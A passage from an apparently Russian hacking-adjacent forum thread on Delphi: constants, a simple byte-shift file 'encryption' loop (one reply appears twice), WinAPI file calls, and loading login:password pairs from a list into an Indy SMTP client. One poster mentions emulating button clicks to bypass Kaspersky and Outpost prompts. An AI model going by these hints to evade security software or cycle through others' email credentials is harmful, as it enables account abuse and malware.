procedure TForm1.FormCreate(Sender: TObject);
const
a: array [0..9] of Integer = (0,1,2,3,4,5,6,7,8,9);
begin
...
end;
также константу, можно проинициализировать без явного указания типа
const
str = 'This text initialized';
N = 5;
Также константы используются, для задания размера массива, для фиксированного вычесления определенного кол-ва, и это кол-во можно регулировать не вставляя каждый раз статически размерность массива, а правя константу объявленную выше, например:
const
n=5;
var
matrix: array [0..n, 0..n] of Integer;
И тебе необходимо изменить только константу
Можно эмулировать нажатие кнопки, я так делал когда появился kis7, тогда особо никто не знал или не делился как обходить его. точно так же можно эмулировать нажатие кнопок и радиобаттонов в аутпост.
Этот способ, имхо мазохизм.
На то время я ничего более умного не придумал :)
Я ж не про как ты ;)
ZirroCool
10.06.2008, 22:09
Обьясните дураку почему так работает
for i:=0 to razmer do
begin
BlockRead(myFile, oneByte, 1);
oneByte:= oneByte+c;
seek(myfile,i);
Blockwrite(cryptfile,oneByte,1);
seek(cryptfile,i);
end;
а так нет???
for i:=0 to razmer do
begin
seek(myfile,i);
BlockRead(myFile, oneByte, 1);
oneByte:= oneByte+c;
seek(cryptfile,i);
Blockwrite(cryptfile,oneByte,1);
end;
В первом случае ты указываешь переместить указатель с которого начнется чтение в файле из которого читаешь, а во втором ты перемещаешь указатель в файле в который пишешь. конечно же ты будешь читать один и тот же байт. вообще попробуй так делать
var
FromName,
ToName : String;
myfile,
cryptfile : file;
NumRead,
NumWritten: Integer;
OneByte : Byte;
begin
AssignFile(myfile, FromName);
Reset(myfile, 1);
AssignFile(cryptfile, ToName);
Rewrite(cryptfile, 1);
repeat
BlockRead(myfile, OneByte, 1, NumRead);
oneByte:= oneByte+c;
BlockWrite(cryptfile, OneByte, 1, NumWritten);
until (NumRead = 0) or (NumWritten <> NumRead);
CloseFile(myfile);
CloseFile(cryptfile);
end;
В первом случае ты указываешь переместить указатель с которого начнется чтение в файле из которого читаешь, а во втором ты перемещаешь указатель в файле в который пишешь. конечно же ты будешь читать один и тот же байт. вообще попробуй так делать
var
FromName,
ToName : String;
myfile,
cryptfile : file;
NumRead,
NumWritten: Integer;
OneByte : Byte;
begin
AssignFile(myfile, FromName);
Reset(myfile, 1);
AssignFile(cryptfile, ToName);
Rewrite(cryptfile, 1);
repeat
BlockRead(myfile, OneByte, 1, NumRead);
oneByte:= oneByte+c;
BlockWrite(cryptfile, OneByte, 1, NumWritten);
until (NumRead = 0) or (NumWritten <> NumRead);
CloseFile(myfile);
CloseFile(cryptfile);
end;
Вообще, винапи рулит, зачем такой мазохизм?
BOOL ReadFile(
HANDLE hFile, // handle of file to read
LPVOID lpBuffer, // address of buffer that receives data
DWORD nNumberOfBytesToRead, // number of bytes to read
LPDWORD lpNumberOfBytesRead, // address of number of bytes read
LPOVERLAPPED lpOverlapped // address of structure for data
);
BOOL WriteFile(
HANDLE hFile, // handle to file to write to
LPCVOID lpBuffer, // pointer to data to write to file
DWORD nNumberOfBytesToWrite, // number of bytes to write
LPDWORD lpNumberOfBytesWritten, // pointer to number of bytes written
LPOVERLAPPED lpOverlapped // pointer to structure needed for overlapped I/O
);
человек спрашивал конкретно за запись и чтение в посредством делфи а не апи, соответственно ответ вышел для конкретно его вопроса. если бы он не мог с апи разобраться то я бы исправил код на апи =)
как сделать чтоб логин: пасс брались с memo или listbox (емайлы)
qPhoenix
12.06.2008, 12:41
как сделать чтоб логин: пасс брались с memo или listbox (емайлы)
:eek:
var s:string;
n:integer;
begin
n:=123;
s:=Memo1.Lines.Strings[n];
s:=ListBox1.Items.Strings[n];
end;
это такого вида будет login:password?
idsmtp1.Username:=
idsmtp1.Password:=
как сюда этот код вставить.
qPhoenix
12.06.2008, 17:48
var s:string;
n:integer;
begin
n:=123;
s:=Memo1.Lines.Strings[n];
s:=ListBox1.Items.Strings[n];
idsmtp1.Username:=copy(s,1,pos(':',s)-1);
delete(s,1,pos(':',s));
idsmtp1.Password:=s;
end;
0verbreaK
12.06.2008, 19:34
Также можно юзать TStringList
var
List: TStringList;
begin
List:=TStringList.Create;
List.LoadFromFile('accounts.txt');
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot